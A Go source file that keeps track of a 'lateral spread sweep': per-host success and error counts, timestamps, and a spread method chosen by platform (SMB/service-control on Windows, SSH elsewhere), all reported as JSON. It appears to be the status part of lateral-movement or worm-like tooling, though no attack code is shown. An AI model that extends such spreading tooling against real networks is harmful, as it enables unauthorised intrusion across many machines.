package deploy

import (
	"encoding/json"
	"runtime"
	"sync"
	"time"
)

type spreadHostResult struct {
	Host    string `json:"host"`
	Success bool   `json:"success"`
	Error   string `json:"error,omitempty"`
}

type spreadStatusSnapshot struct {
	StartedAt  string             `json:"started_at,omitempty"`
	FinishedAt string             `json:"finished_at,omitempty"`
	InProgress bool               `json:"in_progress"`
	HostsTried int                `json:"hosts_tried"`
	Successes  int                `json:"successes"`
	Errors     int                `json:"errors"`
	Platform   string             `json:"platform"`
	Method     string             `json:"method"`
	Hosts      []spreadHostResult `json:"hosts"`
}

var (
	spreadMu      sync.RWMutex
	spreadSnap    spreadStatusSnapshot
	spreadPending int
)

const maxSpreadHostResults = 64

func spreadMethodForPlatform() string {
	if runtime.GOOS == "windows" {
		return "smb_scm"
	}
	return "ssh"
}

func beginSpreadSweep(method string, targetCount int) {
	spreadMu.Lock()
	spreadSnap = spreadStatusSnapshot{
		StartedAt:  time.Now().UTC().Format(time.RFC3339),
		InProgress: targetCount > 0,
		HostsTried: targetCount,
		Platform:   runtime.GOOS,
		Method:     method,
		Hosts:      nil,
	}
	spreadPending = targetCount
	if targetCount == 0 {
		spreadSnap.FinishedAt = time.Now().UTC().Format(time.RFC3339)
	}
	spreadMu.Unlock()
}

func recordSpreadAttempt(host string, success bool, errMsg string) {
	spreadMu.Lock()
	defer spreadMu.Unlock()
	if success {
		spreadSnap.Successes++
	} else if errMsg != "" {
		spreadSnap.Errors++
	}
	if len(spreadSnap.Hosts) < maxSpreadHostResults {
		spreadSnap.Hosts = append(spreadSnap.Hosts, spreadHostResult{
			Host:    host,
			Success: success,
			Error:   errMsg,
		})
	}
	if spreadPending > 0 {
		spreadPending--
		if spreadPending == 0 {
			spreadSnap.InProgress = false
			spreadSnap.FinishedAt = time.Now().UTC().Format(time.RFC3339)
		}
	}
}

func finishSpreadSweepImmediate() {
	spreadMu.Lock()
	spreadSnap.InProgress = false
	if spreadSnap.FinishedAt == "" {
		spreadSnap.FinishedAt = time.Now().UTC().Format(time.RFC3339)
	}
	spreadPending = 0
	spreadMu.Unlock()
}

// GetSpreadStatusJSON returns the last lateral spread sweep summary (in-memory).
func GetSpreadStatusJSON() string {
	spreadMu.RLock()
	snap := spreadSnap
	spreadMu.RUnlock()
	if snap.StartedAt == "" {
		snap.Platform = runtime.GOOS
		snap.Method = spreadMethodForPlatform()
		if snap.Hosts == nil {
			snap.Hosts = []spreadHostResult{}
		}
	}
	b, _ := json.Marshal(snap)
	return string(b)
}